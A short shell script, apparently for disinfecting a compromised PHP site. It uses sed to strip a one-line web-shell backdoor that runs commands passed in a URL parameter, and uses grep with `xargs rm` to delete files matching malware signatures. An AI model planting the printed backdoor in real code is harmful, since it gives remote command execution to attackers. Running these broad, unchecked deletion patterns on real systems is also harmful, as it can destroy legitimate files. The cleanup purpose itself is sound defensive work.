find . -type f -iname '*.php' -exec sed -i 's/<?php if (isset(\$_GET\["_cmd"\])) die(passthru(\$_GET\["_cmd"\])); ?>//g' "{}" +;
find . -iname 'index.php' | xargs grep '\x2fhom' | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep '\x2fh' | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep 'eval("' | grep 337  | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep '\{eval(' | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep '$_COOKIE;' | cut -f1 -d":" | xargs rm
find . -iname '*.php' | xargs grep 'create_function'|grep base64_decode| cut -f1 -d":"| xargs rm